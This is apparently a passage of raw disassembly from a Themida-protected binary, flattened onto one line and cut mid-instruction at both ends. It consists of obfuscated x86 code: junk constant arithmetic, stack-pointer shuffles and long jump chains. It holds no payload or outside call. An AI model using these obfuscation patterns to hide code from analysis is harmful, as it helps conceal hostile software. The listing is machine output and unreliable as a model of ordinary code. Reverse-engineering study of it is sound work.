61h shr ah, 5 neg ah xor ah, 4Ch mov cl, ah mov eax, [esp] add esp, 4 shl cl, 8 add cl, 0A2h jmp loc_551046 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_55796B ; --------------------------------------------------------------------------- loc_5524D4: ; CODE XREF: Themida_:005559E0j mov ebp, eax pop eax add eax, ebp mov ebp, [esp] push ebp mov ebp, esp jmp loc_55595D ; --------------------------------------------------------------------------- loc_5524E4: ; CODE XREF: Themida_:00551230j xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp and [esp], eax pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_5524F7: ; CODE XREF: Themida_:005507EFj mov [esp], eax push 2071h jmp loc_557B3D ; --------------------------------------------------------------------------- loc_552504: ; CODE XREF: Themida_:0055725Fj not cl xchg cl, dh mov bl, dh pop edx jmp loc_55040A ; --------------------------------------------------------------------------- loc_552510: ; CODE XREF: Themida_:005511BEj pop esp mov [esp], eax jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_552519: ; CODE XREF: Themida_:00558888j add ebp, 23FB4AB5h sub esp, 4 mov [esp], ebp pop ebx mov ebp, [esp] add esp, 4 loc_55252F: ; CODE XREF: Themida_:005526B6j push ebx push ebx push esp jmp loc_5517B5 ; --------------------------------------------------------------------------- loc_552537: ; CODE XREF: Themida_:00559236j push 2B7h mov [esp], edx jmp loc_55273A ; --------------------------------------------------------------------------- loc_552544: ; CODE XREF: Themida_:005586A0j add al, 0F1h sub al, ch sub al, 0F1h mov ecx, [esp] push esi mov esi, esp jmp loc_55645B ; --------------------------------------------------------------------------- loc_552555: ; CODE XREF: Themida_:00555FBBj sub [esp+8], ebx jmp loc_55348D ; --------------------------------------------------------------------------- loc_55255E: ; CODE XREF: Themida_:00556D69j pop edx and ebp, esi pop esi jmp loc_553E21 ; --------------------------------------------------------------------------- loc_552567: ; CODE XREF: Themida_:00550D1Bj pop ebp sub ebp, 48C345FEh jmp loc_558442 ; --------------------------------------------------------------------------- loc_552573: ; CODE XREF: Themida_:0054F69Cj push eax jmp loc_555402 ; --------------------------------------------------------------------------- loc_552579: ; CODE XREF: Themida_:0055762Aj push ecx mov ecx, 6C257834h not ecx sub ecx, 0FFFFFFFFh xor ecx, 0FB2D29h xor ecx, 989A9D5Dh push ecx sub dword ptr [esp], 58660961h jmp loc_54F38B ; --------------------------------------------------------------------------- loc_55259D: ; CODE XREF: Themida_:0055A4CBj push esp jmp loc_5567D1 ; --------------------------------------------------------------------------- loc_5525A3: ; CODE XREF: Themida_:00556199j pop ebp jmp loc_5504C0 ; --------------------------------------------------------------------------- loc_5525A9: ; CODE XREF: Themida_:00551C1Cj or edx, 37810F9Dh sub edx, 0CD219EA6h jmp $+5 add edi, edx pop edx push 46A4h mov [esp], ebp mov ebp, 2BB84187h sub edi, 26C3A45h sub edi, ebp push esi mov esi, 23E51D16h and esi, 503A0FEBh not esi shl esi, 3 neg esi add esi, 16367315h xor esi, 155AE168h add edi, esi pop esi jmp loc_552B67 ; --------------------------------------------------------------------------- loc_5525F9: ; CODE XREF: Themida_:00551441j mov ebx, esp add ebx, 4 add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp push ebp mov ebp, 7B4026B2h jmp loc_54FF10 ; --------------------------------------------------------------------------- loc_552619: ; CODE XREF: Themida_:0054FA16j push 250Fh push esp pop dword ptr [esp] add dword ptr [esp], 4 push dword ptr [esp] pop ebp add esp, 4 push ebx jmp loc_55263E ; --------------------------------------------------------------------------- loc_552636: ; CODE XREF: Themida_:00556977j mov ecx, esp push edi jmp loc_55077B ; --------------------------------------------------------------------------- loc_55263E: ; CODE XREF: Themida_:00552631j mov ebx, 45AC3A14h neg ebx jmp loc_54FDAB ; --------------------------------------------------------------------------- loc_55264A: ; CODE XREF: Themida_:005517B0j pop ebp jmp loc_5559A1 ; --------------------------------------------------------------------------- loc_552650: ; CODE XREF: Themida_:0055A7F1j pop edx pop ebx jmp loc_555B9D ; --------------------------------------------------------------------------- loc_552657: ; CODE XREF: Themida_:00559BD7j mov [esp], ebx push eax push edi mov edi, 774E5AADh add edi, 1 inc edi inc edi xor edi, 5AE22B6Bh jmp loc_551DBC ; --------------------------------------------------------------------------- loc_552674: ; CODE XREF: Themida_:00555D9Bj pop ecx sub esp, 2 mov [esp], bx push eax mov al, 0F5h jmp loc_556FB3 ; --------------------------------------------------------------------------- loc_552684: ; CODE XREF: Themida_:0054FF3Bj add esp, 4 sub esp, 4 mov [esp], esi jmp loc_553818 ; --------------------------------------------------------------------------- loc_552692: ; CODE XREF: Themida_:00555DDBj mov ebp, 36AF664Ch or ebp, 30423369h xor ebp, 8315F4Ah jmp loc_551D3B ; --------------------------------------------------------------------------- loc_5526A8: ; CODE XREF: Themida_:0055774Ej mov edi, 68BE6DA6h jmp loc_54FCC3 ; --------------------------------------------------------------------------- loc_5526B2: ; CODE XREF: Themida_:00557BB3j cmp dword ptr [edi+20h], 0 jz loc_55252F push edx push edi push 52D557DDh pop edi xor edi, 4C616F00h mov edx, edi pop edi jmp loc_5539A2 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 push esi mov esi, 18A7015Fh add esi, 68581818h sub esi, 80FF1975h push ebx push ecx jmp loc_551304 ; --------------------------------------------------------------------------- lodsd push edi mov edi, 61554128h add eax, edi pop edi sub eax, ebx push ebp mov ebp, 7E091517h add ebp, 52E855B9h add ebp, 1 sub esp, 4 mov [esp], esi mov esi, 41323985h xor ebp, esi push dword ptr [esp] pop esi add esp, 4 jmp loc_54FBA9 ; --------------------------------------------------------------------------- loc_55273A: ; CODE XREF: Themida_:0055253Fj push dword ptr [esp+4] mov edx, [esp] jmp loc_558042 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_559CF2 ; --------------------------------------------------------------------------- loc_55274F: ; CODE XREF: Themida_:00552321j pop dword ptr [esp] pop esp jmp loc_553A55 ; --------------------------------------------------------------------------- loc_552758: ; CODE XREF: Themida_:0055908Ej add esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] jmp loc_552F5A ; --------------------------------------------------------------------------- loc_55276C: ; CODE XREF: Themida_:0054FEE1j add eax, 6D8F7D96h sub eax, 62E329D6h jmp loc_54ED8D ; --------------------------------------------------------------------------- loc_55277B: ; CODE XREF: Themida_:0054EEADj mov edi, 72D060CEh neg edi xor edi, 79E27C86h not edi jmp loc_5537DC ; --------------------------------------------------------------------------- loc_55278F: ; CODE XREF: Themida_:00555DF1j mov ebp, esp add ebp, 4 push eax mov eax, 4 add ebp, eax pop eax xchg ebp, [esp] pop esp jmp loc_558E38 ; --------------------------------------------------------------------------- loc_5527A9: ; CODE XREF: Themida_:00557947j add esp, 4 sub edi, esi push dword ptr [esp] pop esi jmp loc_558257 ; --------------------------------------------------------------------------- loc_5527B7: ; CODE XREF: Themida_:005522ACj xor eax, ecx push eax xchg esi, [esp] jmp loc_54F531 ; --------------------------------------------------------------------------- loc_5527C2: ; CODE XREF: Themida_:00558475j jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_5527C7: ; CODE XREF: Themida_:005591EFj mov esp, [esp] push 794Eh mov [esp], ebp push edi push edx mov edx, 60316563h jmp loc_550CEE ; --------------------------------------------------------------------------- loc_5527DE: ; CODE XREF: Themida_:00558023j sub eax, edi pop edi add eax, esi add eax, 5E815B5Dh pop esi pop edx jmp loc_5506BF ; --------------------------------------------------------------------------- loc_5527EF: ; CODE XREF: Themida_:0055240Dj mov ebx, 5BB4343Ch add edi, ebx pop ebx sub ebx, 0FEB0872h sub ebx, edi jmp loc_555F37 ; --------------------------------------------------------------------------- loc_552804: ; CODE XREF: Themida_:00555242j xchg ebp, [esp] mov esp, [esp] mov ax, [esp] jmp loc_558195 ; --------------------------------------------------------------------------- loc_552813: ; CODE XREF: Themida_:00556C75j mov ebp, 4DCF1326h or ebp, 36485620h jmp loc_55606F ; --------------------------------------------------------------------------- loc_552823: ; CODE XREF: Themida_:00550836j mov esi, [esp] push eax mov eax, esp add eax, 4 jmp loc_54FCAC ; --------------------------------------------------------------------------- loc_552833: ; CODE XREF: Themida_:0055397Fj pop esp and eax, ebp push dword ptr [esp] pop ebp jmp loc_5505AB ; --------------------------------------------------------------------------- loc_55283F: ; CODE XREF: Themida_:00555AC9j xor ebp, 7A3602A4h sub edi, 1F581BFAh jmp $+5 add edi, ebp add edi, 1F581BFAh pop ebp jmp loc_55A229 ; --------------------------------------------------------------------------- loc_55285E: ; CODE XREF: Themida_:00554537j mov al, ch pop cx push dx mov dh, 7Eh jmp loc_556C06 ; --------------------------------------------------------------------------- loc_55286B: ; CODE XREF: Themida_:00559A72j or ecx, ecx jz loc_553CA3 push ebx jmp loc_55AD6E ; --------------------------------------------------------------------------- loc_552879: ; CODE XREF: Themida_:00559F17j mov ebx, 755E7587h jmp loc_54EE62 ; --------------------------------------------------------------------------- loc_552883: ; CODE XREF: Themida_:0055205Cj mov al, 9Ah xor al, 12h not al sub al, 84h sub bl, al jmp loc_55ABA5 ; --------------------------------------------------------------------------- loc_552892: ; CODE XREF: Themida_:00553150j mov ebx, 578B0E9Dh xor eax, ebx push dword ptr [esp] pop ebx push ebx push edi jmp loc_54FD9E ; --------------------------------------------------------------------------- loc_5528A4: ; CODE XREF: Themida_:00557C46j mov [esp], ebx push ecx mov ecx, 4D1B45A1h xor ecx, 464A634Ch neg ecx sub ecx, 2F166576h shl ecx, 5 xor ecx, 0D56B2BF1h push ecx pop ebx mov ecx, [esp] add esp, 4 add edx, 5A33326Ch add edx, ebx jmp loc_558D7F ; --------------------------------------------------------------------------- loc_5528D9: ; CODE XREF: Themida_:0055988Cj add ebx, 4 add ebx, 4 xor ebx, [esp] jmp loc_5572EE ; --------------------------------------------------------------------------- loc_5528EA: ; CODE XREF: Themida_:00555FA7j add esp, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_559A6F ; --------------------------------------------------------------------------- loc_5528FB: ; CODE XREF: Themida_:005500A0j pop ecx xor al, 63h or al, 61h shl al, 7 push ecx mov cl, 26h xor al, cl jmp loc_552117 ; --------------------------------------------------------------------------- loc_55290D: ; CODE XREF: Themida_:00558371j push dword ptr [esp] pop eax push 7C43h jmp loc_55625B ; --------------------------------------------------------------------------- loc_55291B: ; CODE XREF: Themida_:00556CB7j mov ecx, 4 jmp loc_54EED8 ; --------------------------------------------------------------------------- lodsb xor al, bl push edx push eax jmp loc_55083B ; --------------------------------------------------------------------------- loc_55292F: ; CODE XREF: Themida_:0055927Cj add eax, ecx jmp loc_553543 ; --------------------------------------------------------------------------- loc_552936: ; CODE XREF: Themida_:0055A856j jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_55293B: ; CODE XREF: Themida_:00555323j pop eax xchg edi, [esp] pop esp add esp, 4 movzx ecx, ax push 1098h jmp loc_54EDCD ; --------------------------------------------------------------------------- loc_552950: ; CODE XREF: Themida_:0055581Dj add eax, 4B081557h push esi jmp loc_554227 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], edx mov edx, esp jmp loc_54F46C ; --------------------------------------------------------------------------- loc_55296F: ; CODE XREF: Themida_:00554211j add edx, 4 jmp loc_550E6E ; --------------------------------------------------------------------------- loc_55297A: ; CODE XREF: Themida_:0054FA54j push 4E72h jmp loc_556E45 ; --------------------------------------------------------------------------- loc_552984: ; CODE XREF: Themida_:00552FFAj add esp, 4 push ecx mov ecx, 65443C72h xchg edi, ecx push edi not dword ptr [esp] pop edi push ecx sub esp, 4 mov [esp], edi pop ecx pop edi shl ecx, 1 not ecx sub ecx, 0CA8878E1h add edi, ecx pop ecx add edi, 4 push edi push dword ptr [esp+4] mov edi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] push eax mov eax, esp add eax, 4 push edi mov edi, 4 sub eax, edi pop edi push eax jmp loc_554DD5 ; --------------------------------------------------------------------------- mov ax, [esp] push 230Fh mov [esp], edx push 3914h push esp pop dword ptr [esp] push ecx mov ecx, 4 add [esp+4], ecx pop ecx jmp loc_554314 ; --------------------------------------------------------------------------- loc_552A06: ; CODE XREF: Themida_:00559213j sub edx, 0BC61057h add edx, 0E4214F7h add edx, 4B5E41BEh pop ebp jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_552A1E: ; CODE XREF: Themida_:00552387j add edx, edi push ebp jmp loc_556CBC ; --------------------------------------------------------------------------- loc_552A26: ; CODE XREF: Themida_:00553C8Aj xchg ebx, [esp] pop esp push esi mov esi, 2 jmp loc_551339 ; --------------------------------------------------------------------------- loc_552A35: ; CODE XREF: Themida_:00556145j add al, 0C9h sub al, 8Ah sub al, bl jmp loc_557D15 ; --------------------------------------------------------------------------- loc_552A40: ; CODE XREF: Themida_:00559182j add edx, 1C60260Fh sub edx, 66F75B41h jmp loc_550891 ; --------------------------------------------------------------------------- loc_552A51: ; CODE XREF: Themida_:00552E0Fj push eax mov eax, 4 add esi, eax pop eax xchg esi, [esp] pop esp push ebx push eax jmp loc_5580E2 ; --------------------------------------------------------------------------- loc_552A65: ; CODE XREF: Themida_:0055900Fj xor edi, 0F88F404Dh jmp loc_55124D ; --------------------------------------------------------------------------- loc_552A70: ; CODE XREF: Themida_:0055B00Ej push esp pop esi add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] jmp loc_551C8C ; --------------------------------------------------------------------------- mov eax, [esp] push edi push esp jmp loc_552FF7 ; --------------------------------------------------------------------------- loc_552A90: ; CODE XREF: Themida_:00557F44j add ebp, 25725832h sub ecx, ebp jmp loc_554FE0 ; --------------------------------------------------------------------------- loc_552A9D: ; CODE XREF: Themida_:00556839j mov esp, [esp] movsx ecx, al push eax mov eax, esp jmp loc_559EB1 ; --------------------------------------------------------------------------- loc_552AAB: ; CODE XREF: Themida_:005574B3j push edx mov dl, 0A5h sub dl, 1 add dl, 1 jmp loc_54F174 ; --------------------------------------------------------------------------- loc_552AB9: ; CODE XREF: Themida_:00553158j mov esi, 4 push esi mov esi, 7653683Dh jmp loc_556C50 ; --------------------------------------------------------------------------- loc_552AC9: ; CODE XREF: Themida_:0054EC90j mov bl, 0A5h jmp loc_55716B ; --------------------------------------------------------------------------- loc_552AD0: ; CODE XREF: Themida_:00557DEFj neg ecx jmp loc_557B61 ; --------------------------------------------------------------------------- loc_552AD7: ; CODE XREF: Themida_:0055A26Cj mov [esp], esi sub esp, 4 mov [esp], ebx push dword ptr [esp] pop esi add esp, 4 mov eax, esi mov esi, [esp] jmp loc_559123 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], ebx jmp loc_5540FD ; --------------------------------------------------------------------------- loc_552B03: ; CODE XREF: Themida_:00555597j pop ecx not ebp inc ebp not ebp neg ebp xor ebp, 0D20F8695h sub ecx, ebp pop ebp jmp loc_556C7A ; --------------------------------------------------------------------------- loc_552B19: ; CODE XREF: Themida_:00554FAEj sub ebp, esi pop esi sub ebp, ecx add ebp, 69584FAEh jmp loc_557B45 ; --------------------------------------------------------------------------- loc_552B29: ; CODE XREF: Themida_:00559A7Aj add dword ptr [esp], 32525CDAh add [esp], eax sub esp, 4 mov [esp], eax jmp loc_554A8C ; --------------------------------------------------------------------------- loc_552B3E: ; CODE XREF: Themida_:0054FEA3j mov edx, [esp] add esp, 4 jmp loc_557E33 ; --------------------------------------------------------------------------- loc_552B4C: ; CODE XREF: Themida_:0054FDC3j mov ebx, esp add ebx, 4 jmp loc_557D54 ; --------------------------------------------------------------------------- loc_552B59: ; CODE XREF: Themida_:0054F636j shr ah, 7 dec ah add ah, 0AEh push ebx jmp loc_553757 ; --------------------------------------------------------------------------- loc_552B67: ; CODE XREF: Themida_:005525F4j pop ebp push esi mov esi, 5327037Eh jmp loc_555795 ; --------------------------------------------------------------------------- loc_552B73: ; CODE XREF: Themida_:00553584j pop ebp add esp, 4 and eax, ebp push dword ptr [esp] push dword ptr [esp] pop ebp jmp loc_55AF60 ; --------------------------------------------------------------------------- loc_552B88: ; CODE XREF: Themida_:0055074Ej add edx, 4 push ebp mov ebp, 4 sub edx, ebp pop ebp xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp mov [esp], edi pop eax pop edi push 0DA0h jmp loc_54F75D ; --------------------------------------------------------------------------- loc_552BB0: ; CODE XREF: Themida_:00553F8Fj mov eax, [esp] add esp, 4 push edi mov edi, 7CD73C51h xor eax, edi pop edi mov [edi+20h], eax mov eax, [esp] push ebx jmp loc_55988A ; --------------------------------------------------------------------------- lodsd jmp loc_552FFF ; --------------------------------------------------------------------------- loc_552BD1: ; CODE XREF: Themida_:0055940Dj add eax, 1 shl eax, 5 jmp loc_55820A ; --------------------------------------------------------------------------- loc_552BDE: ; CODE XREF: Themida_:00554235j sub eax, esi jmp loc_556F2B ; --------------------------------------------------------------------------- loc_552BE5: ; CODE XREF: Themida_:00552298j sub edi, ebp pop ebp shr edi, 6 shl edi, 7 sub edi, 3CE74C8Bh xor edi, 0C951E66Bh mov ecx, edi mov edi, [esp] add esp, 4 shl ecx, 2 push edi mov edi, 18087DA5h xor edi, 19387740h push esi mov esi, 3B4E1A28h xor edi, esi pop esi sub ecx, edi jmp loc_54F3A0 ; --------------------------------------------------------------------------- loc_552C21: ; CODE XREF: Themida_:0055203Dj xor ebx, edi xor edi, ebx xor ebx, edi inc ebx inc ebx not ebx sub ebx, 78262D04h sub ebx, 4B4CB88Ah mov edx, ebx pop ebx jmp loc_55950A ; --------------------------------------------------------------------------- loc_552C3F: ; CODE XREF: Themida_:00550420j add edx, 4 xchg edx, [esp] pop esp add bl, 0F0h sub bl, al sub bl, 0F0h push small 7C66h mov [esp], ax mov ah, 43h add bl, ah mov ax, [esp] add esp, 2 movzx eax, al jmp loc_556291 ; --------------------------------------------------------------------------- loc_552C6C: ; CODE XREF: Themida_:00553963j add ecx, ebx add ecx, 45E56550h add ecx, 736F171Eh mov ebx, [esp] add esp, 4 sub ecx, 2 xchg ecx, [esp] pop esp mov [esp], ax jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_552C96: ; CODE XREF: Themida_:0055525Aj sub ebp, 0B5BA467Eh add edx, ebp pop ebp mov ebx, edx pop edx sub ebx, ebp push dword ptr [esp] pop ebp jmp loc_5595C3 ; --------------------------------------------------------------------------- loc_552CAD: ; CODE XREF: Themida_:00550AF1j add dword ptr [esp+4], 78E33F0Fh mov ebp, [esp] sub esp, 4 mov [esp], edi mov edi, esp add edi, 4 jmp loc_55153B ; --------------------------------------------------------------------------- loc_552CCE: ; CODE XREF: Themida_:00554AC1j push eax push edx push 1499222Eh pop edx shl edx, 3 not edx dec edx push ecx mov ecx, 2A13058h or ecx, 3F737E11h neg ecx jmp loc_550A85 ; --------------------------------------------------------------------------- push dword ptr [esp+4] mov eax, [esp] push ecx mov ecx, esp push ebx mov ebx, 6BCD78C2h add ebx, 74A04C73h or ebx, 3676337Bh not ebx xor ebx, 9800884h add ecx, ebx pop ebx jmp loc_55000E ; --------------------------------------------------------------------------- loc_552D1B: ; CODE XREF: Themida_:0055B136j pop ebp jmp loc_5549F3 ; --------------------------------------------------------------------------- loc_552D21: ; CODE XREF: Themida_:00553167j jmp loc_54EA5C ; --------------------------------------------------------------------------- lodsb push 7C5h mov [esp], ecx jmp loc_550DA7 ; --------------------------------------------------------------------------- loc_552D34: ; CODE XREF: Themida_:0054F9D7j mov ebx, 49626431h and esi, ebx pop ebx xor esi, 48004012h add ecx, 0E1D2BE0h add ecx, esi jmp loc_552108 ; --------------------------------------------------------------------------- loc_552D4F: ; CODE XREF: Themida_:00556D1Dj mov [esp], ecx push dword ptr [esp+4] pop ecx jmp loc_5503A9 ; --------------------------------------------------------------------------- loc_552D5C: ; CODE XREF: Themida_:0054ED95j pop esi push eax mov eax, 23F35DD2h xor eax, 1A507F94h add eax, 0C65CDDBEh jmp loc_557BB8 ; --------------------------------------------------------------------------- loc_552D72: ; CODE XREF: Themida_:0055001Aj add ecx, ebx add ecx, 4F083A4Ch pop ebx sub esp, 4 mov [esp], ecx push dword ptr [esp+4] push dword ptr [esp] mov ecx, [esp] jmp loc_551914 ; --------------------------------------------------------------------------- loc_552D90: ; CODE XREF: Themida_:0054EAE1j mov eax, [esp] push edx mov edx, esp push eax mov eax, 4 add edx, eax pop eax add edx, 4 xchg edx, [esp] pop esp jmp loc_557626 ; --------------------------------------------------------------------------- loc_552DAB: ; CODE XREF: Themida_:0055429Ej push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 push edi push esp pop edi push ebp push ecx mov ecx, 246D7EC4h push ecx pop ebp pop ecx not ebp jmp loc_559F2B ; --------------------------------------------------------------------------- loc_552DD7: ; CODE XREF: Themida_:0054F380j pop eax xor ecx, 75299Ah or edx, ecx pop ecx xchg ebp, edx not ebp jmp loc_55AAB3 ; --------------------------------------------------------------------------- loc_552DEA: ; CODE XREF: Themida_:00554C2Cj pop ebx xor ecx, 548A3BB0h jmp loc_54FC0B ; --------------------------------------------------------------------------- loc_552DF6: ; CODE XREF: Themida_:00558407j add ebx, 0FFCF5E7Fh jmp loc_554E88 ; --------------------------------------------------------------------------- loc_552E01: ; CODE XREF: Themida_:00557E2Ej push ebp mov ebp, 4 add esi, ebp mov ebp, [esp] add esp, 4 jmp loc_552A51 ; --------------------------------------------------------------------------- mov cx, [esp] push ebp mov ebp, esp push 0AD7h mov [esp], ebx mov ebx, 4 jmp loc_54F049 ; --------------------------------------------------------------------------- loc_552E2D: ; CODE XREF: Themida_:00559C80j push 13E3A76h push dword ptr [esp] pop ebp add esp, 4 sub ebp, 3DBA3A84h shr ebp, 5 jmp loc_5557A1 ; --------------------------------------------------------------------------- loc_552E47: ; CODE XREF: Themida_:00553726j mov [esp], esi mov esi, 0FB6767Ch xor ebx, esi push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 not ebx push 10BBh mov [esp], edi mov edi, 388A4BE8h jmp loc_556805 ; --------------------------------------------------------------------------- loc_552E77: ; CODE XREF: Themida_:00550A03j add esi, 5E1F1FF6h add esi, 47903C39h add esi, ebp sub esi, 47903C39h sub esi, 5E1F1FF6h mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 push ecx push dword ptr [esp+4] jmp loc_54F1BD ; --------------------------------------------------------------------------- loc_552EAD: ; CODE XREF: Themida_:00550024j pop ecx mov bx, [esp] add esp, 2 jmp loc_558E18 ; --------------------------------------------------------------------------- loc_552EBA: ; CODE XREF: Themida_:005539E9j and edi, esi jmp loc_550848 ; --------------------------------------------------------------------------- loc_552EC1: ; CODE XREF: Themida_:005503E6j pop eax jmp loc_54F907 ; --------------------------------------------------------------------------- loc_552EC7: ; CODE XREF: Themida_:00557BA1j push 42E6h mov [esp], ebp push 8E91045h pop ebp sub eax, ebp mov ebp, [esp] add esp, 4 jmp loc_55446C ; --------------------------------------------------------------------------- loc_552EE2: ; CODE XREF: Themida_:00553E52j pop esi add edi, ebp jmp loc_553F4C ; --------------------------------------------------------------------------- loc_552EEA: ; CODE XREF: Themida_:005520F6j xchg edx, [esp] pop esp push 3E11h jmp loc_557B59 ; --------------------------------------------------------------------------- loc_552EF8: ; CODE XREF: Themida_:0054FFC4j push 7E07h mov [esp], ebx mov ebx, 73707015h push edx mov edx, 267B17CBh push ebx jmp loc_54F6B8 ; --------------------------------------------------------------------------- loc_552F11: ; CODE XREF: Themida_:0054ECDCj mov [esp], edx push 10h jmp loc_54F1A8 ; --------------------------------------------------------------------------- loc_552F1E: ; CODE XREF: Themida_:00559053j add edi, ebx sub edi, 4FE218F5h pop ebx xchg edi, [esp] jmp loc_556BE0 ; --------------------------------------------------------------------------- loc_552F2F: ; CODE XREF: Themida_:005541CDj and ecx, 27391202h and ecx, 37D659D7h jmp loc_555161 ; --------------------------------------------------------------------------- loc_552F40: ; CODE XREF: Themida_:00551AEEj push dword ptr [esp] pop ebx add esp, 4 jmp loc_54EB83 ; --------------------------------------------------------------------------- loc_552F4C: ; CODE XREF: Themida_:00559A84j add eax, edi pop edi push eax push dword ptr [esp+4] pop eax jmp loc_554513 ; --------------------------------------------------------------------------- loc_552F5A: ; CODE XREF: Themida_:00552767j pop esp push edx jmp loc_550029 ; --------------------------------------------------------------------------- loc_552F61: ; CODE XREF: Themida_:005586D3j sub eax, ebp mov ebp, [esp] add esp, 4 push 5D3Ch mov [esp], esi push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebp mov ebp, 6C6263A5h push ebx mov ebx, 7309112Bh add ebp, ebx pop ebx shr ebp, 1 jmp loc_552141 ; --------------------------------------------------------------------------- loc_552F9F: ; CODE XREF: Themida_:0055745Bj mov ecx, 4 add eax, ecx mov ecx, [esp] add esp, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp mov [esp], ebp push 1 push dword ptr [esp] push dword ptr [esp] pop ebp add esp, 4 jmp loc_5558B6 ; --------------------------------------------------------------------------- mov cx, [esp] push 2357h mov [esp], edx jmp loc_554C38 ; --------------------------------------------------------------------------- loc_552FF7: ; CODE XREF: Themida_:00552A8Bj mov edi, [esp] jmp loc_552984 ; --------------------------------------------------------------------------- loc_552FFF: ; CODE XREF: Themida_:00552BCCj push edi mov edi, 698C7EB8h sub eax, 7495485Bh add eax, edi add eax, 7495485Bh pop edi sub eax, ebx push ebp push 4CE5h jmp loc_5571C1 ; --------------------------------------------------------------------------- loc_55301F: ; CODE XREF: Themida_:0055AE17j push esi mov esi, esp push edi mov edi, 4 add esi, edi pop edi jmp loc_555274 ; --------------------------------------------------------------------------- loc_553030: ; CODE XREF: Themida_:005579E2j mov [esp], edi jmp loc_54EB29 ; --------------------------------------------------------------------------- loc_553038: ; CODE XREF: Themida_:00554E89j mov esi, 42C4F6Ch jmp loc_554044 ; --------------------------------------------------------------------------- loc_553042: ; CODE XREF: Themida_:0055058Fj xor eax, ebp pop ebp add ecx, eax mov eax, [esp] jmp loc_555D72 ; --------------------------------------------------------------------------- loc_55304F: ; CODE XREF: Themida_:00554E22j or esi, 2D5F6659h jmp loc_54F385 ; --------------------------------------------------------------------------- loc_55305A: ; CODE XREF: Themida_:0055884Cj mov ebx, esp add ebx, 4 jmp loc_553C87 ; --------------------------------------------------------------------------- loc_553067: ; CODE XREF: Themida_:005549BBj or edi, 67B03752h jmp loc_54F91F ; --------------------------------------------------------------------------- loc_553072: ; CODE XREF: Themida_:005516D7j and ecx, 19AC0047h push eax jmp loc_5508B6 ; --------------------------------------------------------------------------- loc_55307E: ; CODE XREF: Themida_:0054EB24j pop eax add esi, 2 xchg esi, [esp] pop esp mov ax, [esp] push ebx mov ebx, esp push edi mov edi, 4 push ecx mov ecx, offset byte_5C2208 inc ecx shl ecx, 7 xor ecx, 11A12B3Ch add ecx, 0F5D92253h add ebx, ecx pop ecx add ebx, edi push edi mov edi, 458D5AB1h add edi, 33756188h and edi, 578A40D6h shr edi, 7 add edi, 66A85EFFh xor edi, 52C330F0h sub ebx, edi jmp loc_5507B0 ; --------------------------------------------------------------------------- loc_5530D6: ; CODE XREF: Themida_:0055213Cj push eax mov eax, 2 jmp loc_551878 ; --------------------------------------------------------------------------- loc_5530E1: ; CODE XREF: Themida_:00557886j mov ebx, [esp] sub esp, 4 jmp loc_550DDA ; --------------------------------------------------------------------------- loc_5530EF: ; CODE XREF: Themida_:00557034j mov esp, [esp] shr dword ptr [esp], cl pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_5530FB: ; CODE XREF: Themida_:00551759j mov eax, [esp] add esp, 4 add eax, 4 push 4AC0h mov [esp], ebx push esi jmp loc_558FCD ; --------------------------------------------------------------------------- loc_553117: ; CODE XREF: Themida_:00556A74j mov [esp], ecx push edi sub esp, 4 mov [esp], ebx mov ebx, 7E14797Dh and ebx, 54697D79h dec ebx push eax mov eax, 0 sub eax, ebx xchg eax, ebx pop eax add ebx, 79F37410h sub ebx, 0F29EB00Fh jmp loc_5552A7 ; --------------------------------------------------------------------------- loc_553148: ; CODE XREF: Themida_:00557C33j push 5EF9h mov [esp], ebx jmp loc_552892 ; --------------------------------------------------------------------------- loc_553155: ; CODE XREF: Themida_:00557621j mov ecx, esp push esi jmp loc_552AB9 ; --------------------------------------------------------------------------- loc_55315D: ; CODE XREF: Themida_:0054ECFAj pop dword ptr [esp] mov esp, [esp] shr byte ptr [esp], cl pushf jmp loc_552D21 ; --------------------------------------------------------------------------- loc_55316C: ; CODE XREF: Themida_:005553F5j push 5A07h mov [esp], ecx mov ecx, 4 jmp loc_55ACF6 ; --------------------------------------------------------------------------- loc_55317E: ; CODE XREF: Themida_:00558018j add dword ptr [esp], 4 pop edi add edi, 4 sub esp, 4 mov [esp], ecx jmp loc_55972D ; --------------------------------------------------------------------------- loc_553197: ; CODE XREF: Themida_:00553500j mov [esp], eax push 4188h mov [esp], ebx mov ebx, 7597558Fh push ecx push esi mov esi, 8A68AA70h mov ecx, esi jmp loc_5577E2 ; --------------------------------------------------------------------------- loc_5531B5: ; CODE XREF: Themida_:00553619j pop esp or edx, eax jmp loc_54ECEC ; --------------------------------------------------------------------------- loc_5531BD: ; CODE XREF: Themida_:0055AC3Bj add edx, 4 jmp loc_555BC6 ; --------------------------------------------------------------------------- loc_5531C8: ; CODE XREF: Themida_:0055A3EBj add eax, 4 xchg eax, [esp] pop esp push edi mov edi, 4 sub esi, edi pop edi push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] mov [esp], ecx jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_5531EC: ; CODE XREF: Themida_:00557455j jmp 